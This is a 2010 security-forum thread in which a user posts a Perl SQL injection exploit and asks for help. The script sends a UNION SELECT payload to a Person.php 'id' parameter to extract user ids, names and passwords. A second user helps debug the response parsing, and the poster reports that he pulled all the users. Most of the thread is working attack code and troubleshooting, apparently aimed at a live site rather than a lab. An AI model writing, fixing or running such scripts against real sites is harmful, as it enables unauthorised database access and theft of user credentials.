Waraxe IT Security Portal
Login or Register
December 22, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 132
Members: 0
Total: 132
Full disclosure
Stored XSS with Filter Bypass - blogenginev3.3.8
[SYSS-2024-085]: Broadcom CA Client Automation - Improper Privilege Management (CWE-269)
[KIS-2024-07] GFI Kerio Control <= 9.4.5 Multiple HTTP Response Splitting Vulnerabilities
RansomLordNG - anti-ransomware exploit tool
APPLE-SA-12-11-2024-9 Safari 18.2
APPLE-SA-12-11-2024-8 visionOS 2.2
APPLE-SA-12-11-2024-7 tvOS 18.2
APPLE-SA-12-11-2024-6 watchOS 11.2
APPLE-SA-12-11-2024-5 macOS Ventura 13.7.2
APPLE-SA-12-11-2024-4 macOS Sonoma 14.7.2
APPLE-SA-12-11-2024-3 macOS Sequoia 15.2
APPLE-SA-12-11-2024-2 iPadOS 17.7.3
APPLE-SA-12-11-2024-1 iOS 18.2 and iPadOS 18.2
SEC Consult SA-20241211-0 :: Reflected Cross-Site Scripting in Numerix License Server Administration System Login
St. Poelten UAS | Multiple Vulnerabilities in ORing IAP
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Perl SQL injection exploit
Post new topicReply to topic View previous topic :: View next topic
Perl SQL injection exploit
PostPosted: Wed May 26, 2010 9:42 am Reply with quote
acce55
Regular user
Regular user
Joined: Aug 22, 2009
Posts: 9




Im writing a exploit and wondering if anyone can perfect this exploit because im gettting no usernaem or password

heres it
Code:

#!/usr/bin/perl -w
use LWP::UserAgent;
my $host = "http://www.blahblahblah.com/blahblah/";
my $target = "Person.php?id=";
my $sql = "225%20union%20all%20select%201,group_concat

(id,0x7c,First,0x3a,Last,0x3a,Password)%20from%20person--";
my $hack = $host.$target.$sql;
my $ua = LWP::UserAgent->new();
$ua->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $ua->request(HTTP::Request->new(GET=>$hack));
my $answer = $req->content;
if($answer =~ /First:(.*)|Password:(.)</) {
print "[+] exploit succeed fetching admin cridentials\n";
sleep(3);
print "admin username: $1\n";
}



did i make any mistakes in the code above?

in the sql tables there are a First(first name) and THe password as Password..im just trying to grab those and put them in my results......
View user's profile Send private message
PostPosted: Wed May 26, 2010 10:08 am Reply with quote
vince213333
Advanced user
Advanced user
Joined: Aug 03, 2009
Posts: 737
Location: Belgium




I don't really get your regular expression
Code:
if($answer =~ /First:(.*)|Password:(.)</)


Your SQL query is:
Code:
(id,0x7c,First,0x3a,Last,0x3a,Password)

Which will output something like:
Code:
1|John:Doe:MyPass


But I believe you expect the result of the query to be:
Code:
id:1|First:John|Last:Doe|Password:MyPass


Try changing your regex to
Code:
if($answer =~ /(.+)|(.+):(.+)/)


Not 100% sure but I believe it should be something like that. Didn't write any perl for a while though Smile
View user's profile Send private message
PostPosted: Wed May 26, 2010 10:50 am Reply with quote
acce55
Regular user
Regular user
Joined: Aug 22, 2009
Posts: 9




I wish i could get this to work....for skills but the output is not what i need

admin username: <html>
View user's profile Send private message
PostPosted: Wed May 26, 2010 11:07 am Reply with quote
vince213333
Advanced user
Advanced user
Joined: Aug 03, 2009
Posts: 737
Location: Belgium




I think I know what the problem is. You get the content of the webpage (starting with the <html> tag), but you don't cycle through each line, you only check the first line with your regular expression Smile

I believe you should put the $req->content in an array and then process it in a foreach loop.
View user's profile Send private message
PostPosted: Wed May 26, 2010 11:22 am Reply with quote
acce55
Regular user
Regular user
Joined: Aug 22, 2009
Posts: 9




i got them all..all the user from fixing the sql query.
View user's profile Send private message
Perl SQL injection exploit
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.047 Seconds